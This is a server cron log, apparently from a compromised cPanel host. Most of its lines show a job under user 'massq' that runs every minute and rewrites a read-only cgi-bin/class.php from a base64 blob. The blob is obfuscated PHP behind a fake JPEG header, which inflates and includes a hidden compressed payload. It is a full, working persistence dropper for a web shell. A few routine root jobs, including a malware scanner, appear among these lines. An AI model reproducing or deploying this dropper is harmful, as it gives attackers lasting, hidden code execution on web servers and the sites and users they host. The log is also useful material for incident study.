Nov 13 06:43:01 server CROND[6678]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:44:01 server CROND[7579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:45:01 server CROND[8448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:45:01 server CROND[8447]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:45:01 server CROND[8449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:46:01 server CROND[9522]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:47:01 server CROND[10483]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:48:01 server CROND[11295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:49:01 server CROND[12048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:50:01 server CROND[12926]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 06:50:01 server CROND[12928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 06:50:01 server CROND[12929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:50:01 server CROND[12930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:50:01 server CROND[12931]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:51:01 server CROND[13838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:52:01 server CROND[14782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:53:01 server CROND[15638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:54:01 server CROND[15951]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:55:01 server CROND[16777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:55:01 server CROND[16776]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:55:01 server CROND[16778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
